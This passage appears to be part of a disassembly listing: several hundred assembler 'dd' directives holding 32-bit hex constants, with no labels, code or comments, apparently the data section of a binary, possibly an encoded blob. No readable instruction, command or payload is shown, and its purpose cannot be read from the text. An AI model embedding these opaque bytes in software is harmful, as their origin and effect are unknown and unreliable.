		dd 0E4682F09h, 60A0D638h, 0FBFA76F4h, 704B49B0h, 0F1067AF2h
		dd 50C6860Dh, 0F83178C1h, 0B97E67E9h, 4A4F1DB5h, 77095B93h
		dd 119590D9h, 22F5286Fh, 0DF3507A1h, 0BF2DBBD5h, 1395180h
		dd 7A205F8h, 8BCBC055h,	0F23FC0D7h, 63F32B38h, 0A596AAF6h
		dd 5BFD8800h, 7CED8058h, 8B86EFFh, 0EB285AA5h, 0FE77CDB0h
		dd 0C2E85EC5h, 6054A446h, 928BDA39h, 3E2D6607h,	94054127h
		dd 5F6AAD6Ch, 8F688038h, 8D32344Fh, 7D7B77DCh, 802C42A5h
		dd 8D633E55h, 5B6C900Dh, 0F5A6B8F4h, 4EA2A6AEh,	4B08F0C8h
		dd 0C7872861h, 6F60DBB0h, 407FF351h, 4867608Ch,	0FEF6D822h
		dd 5B73B0B0h, 0D2D04Ch,	382C02D7h, 9F4D5EE9h, 572DFE5Bh
		dd 0F955911Ah, 45754BC5h, 322A0A1Fh, 65FD8B89h,	4D60ABD4h
		dd 987DD572h, 1A4169D9h, 2595A2DFh, 0C4AED44Fh,	0E1FCAE2Eh
		dd 2AF198CBh, 4660A8A8h, 0EE685A33h, 0C117AB2Eh, 5DC20769h
		dd 0B4E0EB51h, 26DCF69Fh, 3CC9B252h, 0BED000CEh, 738F7BE1h
		dd 9F7BD09Fh, 857E534Ah, 4E359E5h, 56042D48h, 91BCBDE9h
		dd 543078E3h, 2CDD0048h, 0BB1E7116h, 4079C626h,	62B83112h
		dd 0F57CEA5Eh, 182362C8h, 58FD5859h, 537BE507h,	0BF3C019Ch
		dd 7027C023h, 619A4C18h, 9DFEBD05h, 0B1C53191h,	0C03784EAh
		dd 0D653E5C5h, 1FE90B09h, 40A410D5h, 0F6F490F7h, 177760B9h
		dd 0AD59C5EFh, 5C014425h, 13E7CA8Dh, 0FCC88902h, 655D7321h
		dd 75F060E7h, 4E19BF68h, 6D68F04Dh, 0DB0E6612h,	40398FB4h
		dd 0AA9C887Dh, 28287408h, 8DBA0983h, 6AF5C33Ah,	0BE786164h
		dd 1BBD6800h, 36B5EEA6h, 45595EA8h, 14F8E05h, 35692975h
		dd 97E2D873h, 7ADA3418h, 5242818h, 5E93B8Fh, 9B22BB38h
		dd 4AAE7021h, 991A81EDh, 73C504D4h, 78324283h, 2FF18A09h
		dd 1D5008h, 2A18CFBDh, 0CD038119h, 6D97C44h, 129A24D1h
		dd 0E380BB2Fh, 0EECB8143h, 106AD373h, 0CD34CB12h, 0EE46C4EAh
		dd 27C0CA9h, 0E9D6E22Fh, 0BBEAE5D8h, 41C027DDh,	856603F2h
		dd 6E828ED3h, 0C562FF56h, 3A16EAC1h, 5CB05692h,	0F7910906h
		dd 2D8907A0h, 0BD9C6AEAh, 17F39030h, 0CF4912B2h, 0D852EB05h
		dd 4C0C2116h, 975B3EB9h, 51D2E941h, 75158D0h, 5A673EA2h
		dd 0A8AD0FC8h, 8777FEB5h, 78E11BA5h, 7E913A2Ah,	2C2E5FFDh
		dd 7464992Ah, 0F8BB8F5Bh, 520DC92Fh, 0ADC902B9h, 494E3670h
		dd 0A714C37Dh, 1AA9E1B0h, 8B7650D5h, 82B6138Ch,	19AC55Ah
		dd 0EC48D452h, 2B047E10h, 6FEC2153h, 0A0B5B9D7h, 0B14081E9h
		dd 0B52A9E0h, 0A1D42B30h, 8850E751h, 79FE62B1h,	0BDA4EC1h
		dd 85D55AAFh, 0E7EA32DEh, 662E7BA0h, 5B42AD0Ch,	0CD7C755Eh
		dd 0A0C8BEC3h, 0F13FB268h, 4A4B8A48h, 0D4CBEC46h, 2C4B9F90h
		dd 0B17F9EAh, 655403ACh, 96653661h, 1A4C26Eh, 89BA5220h
		dd 25C1057Fh, 8C73ACE9h, 6C32680Bh, 0FCB1AB62h,	8766174Ah
		dd 0ED884B5Fh, 0BA11A507h, 0C8913A02h, 5DC2796Fh, 0E870B5DEh
		dd 73349445h, 2BFECBF1h, 0B046E045h, 60B8B6EBh,	3D69B2B6h
		dd 48E97751h, 0EB93421Eh, 7BA4C484h, 334D543Fh,	0EA628283h
		dd 85354F7Dh, 9821C668h, 4F9EFE4Fh, 4089471Fh, 8DC5F17Dh
		dd 2E66C6B9h, 60476AA4h, 45BEC15Ah, 4F4C9E4Bh, 674002E2h
		dd 0E2572FA6h, 954258D8h, 8439DB54h, 86E4EDFh, 8411DB9h
		dd 1DEAF240h, 0D10B0137h, 9BE947E7h, 90A37EB7h,	58D7A589h
		dd 0C80A89E5h, 57BD0F7Fh, 0FA249E60h, 94C05F4Dh, 21BC12EFh
		dd 1C3AB6D6h, 665E7240h, 0DE9866E6h, 0DB9D9AB8h, 0F4562F09h
		dd 0D78BCC09h, 0F8A4631Bh, 7CF71756h, 5B351783h, 0E951A00Dh
		dd 0F7DDAF2Fh, 0E918503Eh, 0E2873D86h, 0AE06D002h, 0AE6DBF13h
		dd 0CB60086Dh, 5FDBB5A9h, 0B1955194h, 5802906Fh, 0A5A1DC75h
		dd 7D691EF4h, 0FBFC2A2Fh, 57B5C998h, 7D163CF6h,	8CAD1155h
		dd 94A43004h, 7B10B883h, 6E9DD09h, 48875432h, 11EF0CF9h
		dd 859F5E12h, 0CCBF2E57h
		dd 0CC09880Ah, 441C1468h, 0F8E6F431h, 0F85A4EF3h, 49E9E8E9h
		dd 0FD5E3F31h, 5EDB0419h, 0D2847970h, 92C1F2FEh, 2E68E5B4h
		dd 0C2E7095Ah, 96A257D6h, 0FBF74C73h, 440142CEh, 0F6EA8800h
		dd 0A960E9D2h, 2E500C0h, 0E9C9F580h, 54BDD105h,	0FF55C461h
		dd 0B3920DB7h, 0A768C3B7h, 809F2F2Bh, 0E3D858EBh, 6BFFB840h
		dd 2F974C00h, 5F72E52h,	0E9D987D1h, 4FB7B814h, 365104A3h
		dd 2D27067Ch, 0F5A591D6h, 7FC0C3EAh, 3F25147Ch,	0D1EAD707h
		dd 7948015Fh, 1F2ACC12h, 727D9C0Bh, 5963C1BBh, 98D5F7C9h
		dd 88465208h, 58EE0B7Dh, 91F7C289h, 51DD80D5h, 4EE8D3F9h
		dd 2EEBA98h, 306012FEh,	5677C721h, 16FFA73Dh, 959AD585h
		dd 2583E03Ah, 6C5F39B6h, 50F518E9h, 5859CBCCh, 3E5C2C58h
		dd 0A8849F64h, 0D45B257Fh, 165D6BB9h, 2E75959Ah, 9F0879h
		dd 579BE381h, 20B8560Bh, 0B3274C01h, 6FBAE91Eh,	7C04B7Bh
		dd 0D22DF0D3h, 4CBC0914h, 2F583CF8h, 7518E57Eh,	0B30C5208h
		dd 0B0604F46h, 471633A6h, 0B01E41D5h, 252CE6AFh, 2CF9665Ah
		dd 0EBBF159Bh, 20A8E4Ch, 7144A7B9h, 825F0948h, 0C010736Bh
		dd 132E0563h, 0B11A5ADBh, 12116C43h, 0A3EA4C64h, 1B58E8h
		dd 54BB743Bh, 2E2F3032h, 10D7C331h, 0F7810209h,	75EF6BFAh
		dd 16F1326Bh, 78376365h, 0EA96B42Dh, 7FD87725h,	5AB57290h
		dd 8D74BDEAh, 8300574Ah, 0E9152544h, 0E98E546Ah, 0E8025BEEh
		dd 4BAA100Eh, 1E061465h, 0BC3A04DBh, 7042C032h,	0B608407h
		dd 0E8785C0Ch, 223B072h, 3995AFA5h, 705EF029h, 904094A0h
		dd 413D259h, 12A66FCCh,	0F56B21E5h, 214B2E43h, 976D788Ch
		dd 6708DCC5h, 4BEF20DDh, 4846B8AEh, 76B820F4h, 0EB935F53h
		dd 0B4ECDD31h, 0E7F40104h, 20394E26h, 100CB200h, 0E4D4983h
		dd 385013D3h, 0BA0B0933h, 0F41C4F84h, 0D80C7C8h, 1C1DF65Bh
		dd 2534D9E9h, 0D1D2BA57h, 90B6B003h, 5B515374h,	842A0FDh
		dd 27DC59B5h, 0A84FED55h, 0C597A40Eh, 0C03CBD50h, 89DFE993h
		dd 530017D3h, 51496843h, 72595C5Eh, 0F0015FB0h,	128DCCB7h
		dd 0A3228E68h, 4A27004Ch, 0CE811032h, 6D9CA102h, 87DEEA47h
		dd 0C6821C1Fh, 0E0665767h, 172A5359h, 7A70C731h, 0C6634EEh
		dd 0FE2936A9h, 5626CCC6h, 19097532h, 93ECF171h,	15EC2128h
		dd 10560741h, 602D050Bh, 0C1E038A8h, 7F7923BEh,	0D1BD3889h
		dd 2CC93A98h, 0A973EC80h, 283C13B8h, 0CBC13AE1h, 59A655B0h
		dd 680BBFA5h, 0CBE60116h, 0C409F390h, 8E3DB439h, 0E25E09ACh
		dd 24795D0Dh, 0A40C342h, 2493789h, 0FAD5F731h, 0F6BA2D7Ch
		dd 53EE0AFEh, 0A28F93AAh, 0BCE0435Bh, 0D21C180Eh, 7C3D0C17h
		dd 7E790F25h, 0D008A03Ch, 5802140Ch, 28E95251h,	7940E7FEh
		dd 0BD53FA5Bh, 0DFD41741h, 742DABA5h, 18DE47Bh,	0A90CC89Fh
		dd 6C222734h, 8A033F4h,	8B57E91Ah, 0EA80DD60h, 18060B0Fh
		dd 0C7285595h, 655E0CC8h, 87275DCBh, 2F0ADB0Ch,	80F54BBAh
		dd 997701DDh, 0D0C8BD1Fh, 0E6974758h, 8F1355BFh, 0E49BD76Ah
		dd 6F0D00EBh, 4C75D517h, 6072A340h, 8A2D08D8h, 881908C0h
		dd 6194C601h, 5F173C2Eh, 0EB2D0690h, 2823480Bh,	0D193D6Ch
		dd 2CF21D90h, 133CDF91h, 59E3F89Ah, 95E5538Bh, 5B1AE906h
		dd 744600A9h, 0B50579C8h, 0A4B41408h, 99061C2Dh, 91E5AD57h
		dd 20525A89h, 25344A50h, 92A0990Bh, 0EA8653E7h,	1F273420h
		dd 0FC295B11h, 7D4D1205h, 0E940A38Eh, 0F8A85FE9h, 9568C099h
		dd 7E4B5E67h, 13B64B5Dh, 9A01F017h, 60FF584Fh, 7A8A0D9Ah
		dd 0A767058h, 0E63E7B80h, 0F57DC90Bh, 0DAC9F14h, 30D03139h
		dd 1FE908C2h, 38DD95E7h, 0B254501Dh, 57E78117h,	0BB048139h
		dd 0AB853386h, 7ED9704Bh, 80D54886h, 2D40CA81h,	86905E45h
		dd 0C5381819h, 67250348h, 0E1FEC642h, 9DAA2C2h,	8701B805h
		dd 49119126h, 0E2C520E4h, 56594704h, 810EB29h, 342D664Ch
		dd 0B5F072E4h, 52BB9C5Bh, 859A163Eh, 3A1C2D52h,	0C7E7CABCh
		dd 0D0BFD5E9h, 9763F8C5h, 0BD2F137Ah, 3D54C6E4h, 0F69807EFh
		dd 0FCCDEDF1h, 4E285218h, 167A0354h, 4A895632h,	0AC9D759h
		dd 0A422ED7Bh, 7D2F3D2Ch, 2A05F441h, 702D18E4h,	7F462785h
		dd 782DE58h, 0C0D13440h, 5E928491h, 0C280A6EFh,	7655BEE9h
		dd 2032851Fh, 0ED0DC0D8h, 0FE27730Ch, 0E9ECE08Dh, 0B7A4BA80h
		dd 57501768h, 5879BF1Ch, 0CF814F80h, 65EE709Ah,	0AE03FA62h
		dd 26BD32F0h, 15F1C11h,	0EE1959C7h, 4A273857h, 552CFFE8h
		dd 3C910537h, 36EB1410h, 0E558271Ch, 2E27B5D0h,	0D9D23BCDh
		dd 0C050E37Ch, 5BF9214Eh, 30CEF401h, 5A80E195h,	6669EA2Ah
		dd 1ACEA134h, 502BD238h, 66037556h, 0A55F5BBDh,	9678FA8h
		dd 0DDF7C305h, 52E300FDh, 0C5ACE93Eh, 17310BFh,	9DC90EEh
		dd 2B414E74h, 6255CE89h, 5E8557E9h, 2ECE90Ah, 66981AC7h
		dd 94D3D758h, 44B7C025h, 42796031h, 0AE20C01h, 0D1CDCDAh
		dd 14021C08h, 0E1D15158h, 2F8BB1E9h, 2DD930AAh,	88257610h
		dd 221FD027h, 86CF8194h, 0E0F19668h, 0CA3E7425h, 85E9090Eh
		dd 2FEA7147h, 0E94109D9h, 0F92FCFA9h, 565C1624h, 6068DA8Ch
		dd 96B91ED8h, 60E5292Ch, 702A158h, 46E90CBEh, 0AE907D0Fh
		dd 5D626E68h, 0BA77159h, 0DB3976F6h, 0E9D39FC3h, 0EA396114h
		dd 0D6751771h, 5180FA50h, 0B2C9FF1h, 0CD294E9Dh, 15EEF8B8h
		dd 0A893052Ch, 62F84F3Bh, 0E8C45F8Eh, 0F1248864h, 0DC1A3C28h
		dd 217CDF80h, 2968CC0Eh, 2CFF65CFh, 7593CBD8h, 5E20601Ah
		dd 0B767F917h, 6ECC36C1h, 58707B10h, 0EEAFC7D2h, 584192D7h
		dd 5332A07Dh, 9470F468h, 0BFAC20C8h, 4B004F50h,	6658070Dh
		dd 3B390503h, 3502D02Fh, 0A1E4EB3Fh, 0F2276764h, 253D4687h
		dd 0B25DBBC0h, 0D866D533h, 0FAB95100h, 8164D43Ah, 2CC818C9h
		dd 2EC1E869h, 0D81E3212h, 0ECB204EFh, 0B9DDBEAEh, 0AD5F0629h
		dd 2FC04BA8h, 0E573456Ah, 0AADC60FEh, 9EC6B54Ah, 4012C74Fh
		dd 0F6BE5052h, 0D84B92F8h, 0B81503Fh, 0C127F6BDh, 0F2EDBC03h
		dd 0EFE90D0Ah, 0BA81DA2Fh, 5C8C13CBh, 1D685961h, 4CA9FB1h
		dd 0D40BFDAFh, 44852F16h, 62AEF005h, 595410B2h,	25AA6C75h
		dd 57998CA6h, 3A856A8Ah, 80DEF2FFh, 70ED6857h, 2B2C487Bh
		dd 174E6B10h, 0BFFCE6C0h, 0F0281A09h, 0EF0BFE82h, 8F542966h
		dd 3B4B6380h, 8C659444h, 8DD23CADh, 0B6AF4269h,	0A70B2EDAh
		dd 0F7258C48h, 0EC5B240h, 3679F424h, 0F613A025h, 3ECAAE77h
		dd 5E17291Eh, 307B385Bh, 822F44B0h, 517A114Dh, 9606F3E4h
		dd 11876230h, 23E130FFh, 667D82E8h, 437225FAh, 0D55B2899h
		dd 0ECE374CBh, 955F5240h, 0CC0ACB56h, 5316F9F4h, 106D1DC0h
		dd 0A1444AA6h, 5B070073h, 0C49F6C01h, 0E0E91238h, 827D35DDh
		dd 590276F8h, 52615687h, 801F45Dh, 0F425CDEBh, 842D1DC1h
		dd 0BC21892Fh, 0D1430903h, 4A8883E3h, 700B9B02h, 0A50E1D9Ah
		dd 4E5966Eh, 0C2097740h, 0D1DF5757h, 1EC30103h,	20FEBE1Fh
		dd 4B955F2Eh, 65C294E7h, 0AA02FF67h, 0BAFD6C4Bh, 0B2610F33h
		dd 106C79B1h, 58C04220h, 0AAAA35Ah, 89579589h, 68B055DCh
		dd 5E5F0FE9h, 0A519BED0h, 0BF89EA8Ah, 647688C2h, 368B5659h
		dd 0C2A7889Ah, 552B51h,	24748AD5h, 0D344FA03h, 0F0631608h
		dd 0E19FF765h, 2C7E5EDFh, 99DFA75h, 0F26DF51Ch,	0E0E2E986h
		dd 97F60729h, 0BE7ABA39h, 48EFB072h, 1F720D0Fh,	540028Eh
		dd 0D4FD618Ch, 0A04A1E78h
		dd 5397BFC6h, 32620816h, 2E3CBE07h, 8CB82510h, 9F3FF8F5h
		dd 782BE982h, 0B9EAD103h, 58668734h, 2EC08410h,	0E116ADF6h
		dd 237F0EFEh, 8263EB64h, 50E561CAh, 6A116804h, 134A0CB2h
		dd 5A42FB0Ah, 7FA499E9h, 0E2FAFCC6h, 5DD72980h,	2D008F5Ah
		dd 67C558D9h, 2387135h,	0F70502AFh, 5626DAF6h, 2392CB4h
		dd 21AA5CDFh, 5430F940h, 0FE7FF925h, 78B58303h,	0C024FA1h
		dd 3CB82F1Dh, 44034046h, 0C79C08D0h, 0E984F221h, 83BD3FD1h
		dd 7008C307h, 0DBF722C1h, 72698F61h, 0B76E075Fh, 0E1B5B34Ch
		dd 0FFEECB0h, 5ECC0C4h,	0FABBDD45h, 6D2E76B7h, 0EEA4A834h
		dd 0D46C5F88h, 6BD4BE40h, 325E6DADh, 88C266E5h,	0E98993FCh
		dd 0F71DE2B9h, 6805F5C7h, 0C68D06E7h, 8520E2Bh,	75E93AA2h
		dd 0AC583B58h, 3EDC2042h, 541ED9BBh, 0A057926Eh, 0B03B502Bh
		dd 16C03DF8h, 96BD7D25h, 0B49D6916h, 5B1E5556h,	80D247B2h
		dd 340CA1C6h, 8043BF64h, 0DE5AADCAh, 0A9B81118h, 5103E90Bh
		dd 0C0F03282h, 24021FE0h, 0A51755DAh, 5A9CBE02h, 615F29ADh
		dd 0AFF956EFh, 0FA4B8768h, 0A28298D4h, 315F026Bh, 2DED72FDh
		dd 0DB92E301h, 2F667A7Dh, 2AC8E1C1h, 413D6B39h,	9743AA37h
		dd 1D2050B8h, 807D9084h, 92B987D9h, 20C4B84Ah, 80176720h
		dd 42EA38C3h, 151684Fh,	0B132CFAEh, 82296F63h, 701C2720h
		dd 2D7C9518h, 0DB7C8B59h, 4539CD5Fh, 970BA9C4h,	2CFF09C4h
		dd 5B4ADDE6h, 2118788Eh, 2E2D752h, 505BD69Fh, 22CEA060h
		dd 5B9CC55Ah, 0BAD7C6BCh, 37A10F45h, 82828DEEh,	0F979BE06h
		dd 82B8787Eh, 2AD64407h, 0E84FDEh, 4963018Dh, 0EC1E681h
		dd 983D7C32h, 0E67709B2h, 71C424C1h, 575E8965h,	0F55BBA7Fh
		dd 7C028C65h, 89627B23h, 61328EF0h, 1EEB7FCCh, 14A8F1D8h
		dd 0BF3F5E34h, 0AB5A8212h, 328D95B3h, 98E36EDFh, 0CA517305h
		dd 6AC1BF6Eh, 0D82A3704h, 7B4CA612h, 0F821A1E8h, 846B48F5h
		dd 0F167BCA8h, 1620E1F7h, 0F58080CAh, 0EF28B206h, 0B7A85259h
		dd 36E728E8h, 85BE63DFh, 29C46E44h, 4D12A5E0h, 0A15F2728h
		dd 2D8CC45h, 0C004632Fh, 4E2A7658h, 2BF9445Fh, 58FB4C97h
		dd 44FD8249h, 6BB2657Dh, 0D4728353h, 6B58E791h,	0E9134CE8h
		dd 0BA175226h, 580BE1E3h, 0D1D4B450h, 0EF800A00h, 90FC08B1h
		dd 0A3C03068h, 2885C32h, 4E8043B7h, 23CBEE65h, 296F506Ah
		dd 0C050649Dh, 0CB134281h, 0CD80654Fh, 9DBA4A27h, 4B95EA80h
		dd 18C01A55h, 186614ACh, 2AD86089h, 3D0EFDC2h, 0C4AF464Ah
		dd 58080929h, 10E23A5Dh, 0D26CE596h, 2563F2BBh,	0A5D9D443h
		dd 0A325FB54h, 0BA5AB147h, 0F8717D3Dh, 0F6A5F59Fh, 11F173E6h
		dd 8AA32A7Fh, 2A4C7E10h, 0E8B746BDh, 27E95148h,	0C371276Eh
		dd 0E93DF469h, 905D504h, 0B1D9775Bh, 0D9BAD7ADh, 7B396758h
		dd 3A9B500Eh, 1B57802h,	0E868CDE9h, 0F05F54B0h,	0E3254E32h
		dd 11CB35A1h, 85ADD883h, 86FBB2FEh, 4E2AB42Ch, 8950E247h
		dd 5F3A623Ah, 0E95873D9h, 0E24F5BEFh, 2A921060h, 0AA43B213h
		dd 4C31DFF4h, 124EA0DDh, 9F98AE2Eh, 666A9F2Dh, 8E7D8377h
		dd 0EA284CD5h, 2240FE5Fh, 72840B27h, 52C2C131h,	6F70CB68h
		dd 4B00D1B6h, 33BA0254h, 6B4A95D9h, 5240F0A0h, 9B07C856h
		dd 0B2776242h, 0EE57EE35h, 0BC555EE9h, 0C729854Fh, 0D360EF04h
		dd 0FF92ABA8h, 17619805h, 57D62CFEh, 0E3F7E916h, 0E415C9EBh
		dd 1EC07798h, 8C06BCBBh, 0EBD11C05h, 0A30892C1h, 0D9290C9Fh
		dd 51AD7453h, 0A064422Eh, 0B14F0C3Eh, 55A2422Ah, 1C914180h
		dd 0FAD7F797h, 518FC0CEh, 58095950h, 9A608D68h,	56CA6AC3h
		dd 0EC9145E4h, 6BBA024Dh, 0F72A7E4Fh, 48F3FBE0h, 0DF485892h
		dd 423E7BCFh, 994BA899h, 795ACE40h, 0A2E4FF08h,	0BA12D34Ah
		dd 0DA40D52Eh, 6B324828h, 40B5A20h, 0D5036978h,	270827A8h
		dd 0E8B8A87Dh, 0CA197427h, 24802D51h, 1931DEBDh, 0A753C83Dh
		dd 0B9446116h, 29A3496Eh, 0E845BA02h, 0E46179F5h, 55F92ACh
		dd 20071CF5h, 0B80636D4h, 22661EEEh, 99B52796h,	7E158565h
		dd 0DC24759Eh, 0FCAF0233h, 0C8982DC7h, 0F8955251h, 0D5E23986h
		dd 4FEACAA8h, 8A1F8434h, 2DC61219h, 6882BEE9h, 23D47B27h
		dd 7C481360h, 0CBD8A042h, 0AB5613C3h, 0DF5EEE79h, 39559344h
		dd 0E2A101EEh, 0F07C036Bh, 0F5123EEEh, 0F4EF6689h, 0B102CD8Eh
		dd 7CE9EB06h, 0FF9077DCh, 797EB652h, 0FA69AACAh, 30FE2889h
		dd 0F4F72CE3h, 5AD1EBF0h, 0ACE8C8FDh, 6A2713E9h, 5FB2AAFFh
		dd 0B05A21D2h, 0A2F90766h, 0D55E3D42h, 3FA61547h, 0BD6D6858h
		dd 21138E5Bh, 0EEE98245h, 488148F0h, 0A61412CEh, 7806F172h
		dd 0F646155Fh, 0A92DA1F2h, 25CED6FFh, 0EA500D72h, 2500B498h
		dd 0F681517Bh, 7E2213A7h, 0E9F21E63h, 0A673A70Ah, 794D8C0Bh
		dd 65DECE8Fh, 1EA94775h, 0B3C32DE9h, 88B956E3h,	0C2B38016h
		dd 76AE3F0Bh, 17E29729h, 595D0802h, 0EE4F73E6h,	0C9BE3590h
		dd 46051409h, 1B05F14Eh, 0FB1E3603h, 0E8C1F480h, 8FA8D007h
		dd 0C56C6286h, 2EF7893Ch, 2DA6B274h, 2F1188h, 0C680CE86h
		dd 0A3A3FE7Ch, 325A54BAh, 0B7757402h, 40E38121h, 986CB977h
		dd 36DC2016h, 4AF55D4Eh, 0F22E9835h, 9EECC5F8h,	0B2BFDD94h
		dd 2C94974Bh, 3D64C1FBh, 0C781C81Fh, 0C1373209h, 204C5013h
		dd 40BDDBD2h, 1673ACEDh, 0EC5F20A2h, 4AE982B7h,	0E9187D7Ch
		dd 0A1BF5CBAh, 6CE66354h, 5F1E0D70h, 0EC09DD3Ah, 0CB9250CCh
		dd 44F6D75Ah, 13A4FC5Eh, 2DAB6A6Dh, 843A6DBCh, 290B4191h
		dd 0D64A0FF8h, 4400C9AFh, 0B4AC8404h, 7C97FEB0h, 27144AD8h
		dd 9887A704h, 0CABF5A9Fh, 13945781h, 0E9053C93h, 0DD11FE6h
		dd 0A16A67C7h, 12FF7854h, 415444DFh, 75E71E33h,	84EF06D6h
		dd 0A408102Ch, 0FE16929Eh, 28E5CA61h, 0ECD0DD3Fh, 9AA95A41h
		dd 0BFD944F7h, 0FA4B9CA2h, 90CAA812h, 9F062125h, 4298133Eh
		dd 2825BC0Bh, 2FD6783Bh, 90754CB1h, 1F99B229h, 95C4B450h
		dd 9F49B1B6h, 0F554A19h, 134F3ACAh, 29FB895Eh, 97CC699h
		dd 671363C3h, 0E2E27175h, 5D09DF1Dh, 4B0B62F8h,	550EF208h
		dd 4DE585h, 4F111DF6h, 4337E905h, 596B7D65h, 2670A571h
		dd 98947E20h, 0A78D2FA3h, 0A21511F7h, 5C7227FFh, 0E978C55Eh
		dd 3D4BB53Fh, 0FEF4A5B3h, 441A6D31h, 0BBC5CF69h, 0A98EC0Ch
		dd 7FE55EE9h, 0C052B380h, 2C5005EBh, 3585DB0h, 20C58058h
		dd 0EDABDD83h, 9084E6ADh, 0E8288206h, 0CEF3F659h, 88A073EAh
		dd 133DFCD6h, 0DD4662EBh, 310B33FBh, 37292AB4h,	74AA2D3Ch
		dd 96803C4h, 0BA0B36E3h, 0D1815F94h, 6873E94Ah,	92F45AEBh
		dd 0F97E1FD1h, 30876E38h, 1471BD1Ah, 0F839FE2Eh, 0C465B100h
		dd 0F0FD294Fh, 0D508A2EDh, 2E5DF7E1h, 697A6F98h, 0D9D5846Eh
		dd 0CEA44270h, 550094C6h, 8840E1BDh, 90E5C129h,	2F4EB00Bh
		dd 0ACE6C60h, 0E62587B0h, 42DC5102h, 51FEAEE9h,	641CDF2Fh
		dd 532FAC20h, 5A171D5Ch, 9E500B57h, 43DC5BA9h, 9A927670h
		dd 2E666438h, 0AC84D5DEh, 0AEC460DEh, 0B717C84Ah, 303D8A81h
		dd 0CDFA8EDEh, 4DA7E49Eh, 27DADEAh, 1E8C5223h, 34D0F729h
		dd 9A98DA84h, 0B471C200h, 0E9F0894Ah, 0ECBF4B54h, 7192B0A3h
		dd 0E9391BF4h, 6E03FB10h, 3F4BB6EDh, 58DDD261h,	423408A7h
		dd 80093102h, 56BB5F3Dh, 6B4E9FD9h, 2D5CB620h, 164713E3h
		dd 0D510AB38h, 16044807h, 45903A17h, 3675B0EEh,	0C8CA76C6h
		dd 79420882h, 792FC77Eh
		dd 525862B2h, 0E4CE0F0Bh, 0E61341F1h, 0B786543Fh, 554BE4Ch
		dd 5453E9CAh, 48D0A6BEh, 182F0113h, 0EFC16392h,	5FD82330h
		dd 85D8E9BCh, 0A3EFDD01h, 2FFED0C9h, 1EA27D2Eh,	18DF0ECBh
		dd 824B6068h, 0D88E6B75h, 0BF32A644h, 0F902F78h, 0E9A6DCB5h
		dd 915352D6h, 9D4979EDh, 6C220BE8h, 19DC9C57h, 552736BCh
		dd 7F253E47h, 714F90E5h, 0AFCF3734h, 0F4E150BCh, 9C342F18h
		dd 2D09A0EBh, 0A8C4CB9Dh, 0EDEA3CB8h, 5786727Bh, 3FC4943h
		dd 9A6D8E0Dh, 0FBE98442h, 0D311B2BBh, 0E9C5ABB6h, 5EA4E84Fh
		dd 0EAEB39BEh, 0C5D4C5F7h, 0BB3D715Ch, 740DE4C9h, 2620D990h
		dd 847BE48h, 91739C3h, 0BF1ADA0h, 0E1E4AEFh, 217021D6h
		dd 0AB5D4BE8h, 5593CBD2h, 70207D5Ah, 5039095h, 307617CEh
		dd 2079974Dh, 14F6C7DEh, 89089790h, 48771E59h, 1E5D1808h
		dd 850C3C1Ah, 0B2FE0147h, 18E9405h, 1261E1BBh, 65A0E968h
		dd 0EDB77E44h, 0C88AE9C2h, 31D5CAE9h, 43417FF7h, 4CF448C4h
		dd 0F94E5BEh, 2D772941h, 18F15ED9h, 4852CD97h, 17E41FA0h
		dd 0F97DD413h, 8B084142h, 57547070h, 59E79C18h,	28FB3AE1h
		dd 0E325E937h, 9173F983h, 5FFA6401h, 0CECA0ABEh, 0C94298D5h
		dd 56005250h, 0C555C668h, 4815E1Dh, 4660D7CEh, 9A20806Eh
		dd 1C483440h, 353D020Fh, 7F316393h, 0A400F466h,	5A2BEA67h
		dd 9748C5E9h, 7CE35F18h, 1CB8080h, 5EB25271h, 0CC07E2C0h
		dd 0E09008EAh, 71EFF65Eh, 36875ED5h, 6B8D1026h,	0B513583Bh
		dd 1CD56C2h, 0E3800817h, 860699D4h, 0C3E57B68h,	0E389E9F4h
		dd 4D84F24h, 2E04842Dh,	6388376h, 7B4180C0h, 131E3B7Dh
		dd 0F22DC9BCh, 9580E357h, 0ECB75352h, 0FEE0AEB6h, 0C6865B1Fh
		dd 6608D099h, 0CFC7B07Ah, 84E7E92Ch, 419182AFh,	0C130053Eh
		dd 2E785EB1h, 0B2BA0434h, 9D04921Eh, 2AB44C3h, 140C52EFh
		dd 0C5056DC4h, 0E2E8114Eh, 0F3900AD7h, 143D5h, 0AEBE563Eh
		dd 4E201F22h, 79F6F2A2h, 6431C681h, 0E940584Dh,	9B33FF8h
		dd 0ECC7E94Bh, 68892771h, 4D4DD5BAh, 61DCE905h,	90BA65F4h
		dd 0BDA324A2h, 60DE8E7Ch, 0DCBEF13h, 84B08B5Bh,	0BB175F10h
		dd 45130B16h, 0BE5FC4FBh, 0E909F38Eh, 7429D0D7h, 5580E7D6h
		dd 310D6E0Eh, 0B23A90D8h, 96C2BFEAh, 9808F0DDh,	543A096Ah
		dd 0B30F165Eh, 0DB182C62h, 88B392F0h, 61D4F42Fh, 2F52F568h
		dd 0CA8F5F32h, 30C774ACh, 10408556h, 0F801C016h, 12EAD108h
		dd 3505B05Eh, 0E5102C6Bh, 0B892A7C0h, 0D1587689h, 7E42AB18h
		dd 495CE95Ah, 0CB262B8Dh, 5A6D5A9Fh, 284E7525h,	0E7202A41h
		dd 28B009CBh, 0DD7486Fh, 0C480A448h, 31EA24DAh,	0E92FEF87h
		dd 591CE13Fh, 2331BB2Eh, 7D28771Ah, 6D7EA5C9h, 5AD12904h
		dd 4E9E6EB1h, 4984400Ah, 382FE997h, 9F7C7AAh, 5F40DA4Ah
		dd 0B5FB985Bh, 54968B9Fh, 0EA136E1Fh, 6B4D8391h, 0D101CC2Bh
		dd 0B801D894h, 65C12497h, 6A05F320h, 2360F9Bh, 69277F78h
		dd 8A038D6h, 6422F2A1h,	0F6FA4E04h, 0C9010B0Ch,	0E07AA271h
		dd 0E59350EFh, 563F13A0h, 6BB5C230h, 52849078h,	21196818h
		dd 82F998C5h, 5AEFDE5Dh, 47E45975h, 0AE6D69E8h,	7127DD0Ch
		dd 6E3D0DEBh, 2B0C6DEAh, 0A55C4F8h, 593DFF2Fh, 0D829217Ah
		dd 27590329h, 3F9884A6h, 5B81B24Ch, 0AD7E0CF9h,	9B1E02F1h
		dd 7F01A58Dh, 520A0D1Ch, 64C76E9h, 696CBB09h, 0D42C3C16h
		dd 0B6328BDFh, 56E41476h, 0F48B5DEDh, 5C2D5C5Eh, 6703D24Eh
		dd 2B039DACh, 0B152A4EAh, 93D6DA74h, 0E789DECFh, 0BF17BEECh
		dd 310EBF18h, 0E06B54BDh, 0DB6328BAh, 0C6E9220Ah, 2D939690h
		dd 357B66A9h, 0F4820CBh, 0A045133h, 0EEE8AADCh,	30F4BBB1h
